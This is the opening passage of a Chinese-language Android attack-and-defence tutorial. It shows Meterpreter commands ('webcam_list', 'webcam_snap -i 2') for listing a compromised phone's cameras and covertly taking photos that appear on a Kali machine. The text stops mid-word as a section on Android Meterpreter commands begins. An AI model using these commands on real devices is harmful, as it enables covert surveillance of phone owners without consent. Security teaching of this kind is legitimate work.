Android安全攻防:从摄像头控制到中间人攻击
1. 摄像头与安卓命令操作
1.1 摄像头命令
在操作过程中,我们可以通过输入特定命令来使用设备摄像头。输入“webcam_list”可查看设备的摄像头选项,例如若设备有前后摄像头,会显示如下内容:
1: Back Camera 2: Front Camera输入“webcam_snap -h”可查看摄像头拍照的选项:
Usage: webcam_snap [options] Grab a frame from the specified webcam. OPTIONS: -h Help Banner -i <opt> The index of the webcam to use (Default: 1) -p <opt> The JPEG image path (Default: ‘Esbldlsb.jpeg’) -q <opt> The JPEG image quality (Default: ‘50’) -v <opt> Automatically view the JPEG image (Default: ‘true’)若要使用前置摄像头拍照,可输入“webcam_snap -i 2”,手机拍照后照片会在Kali系统中显示。
1.2 安卓Meterpreter命令
Met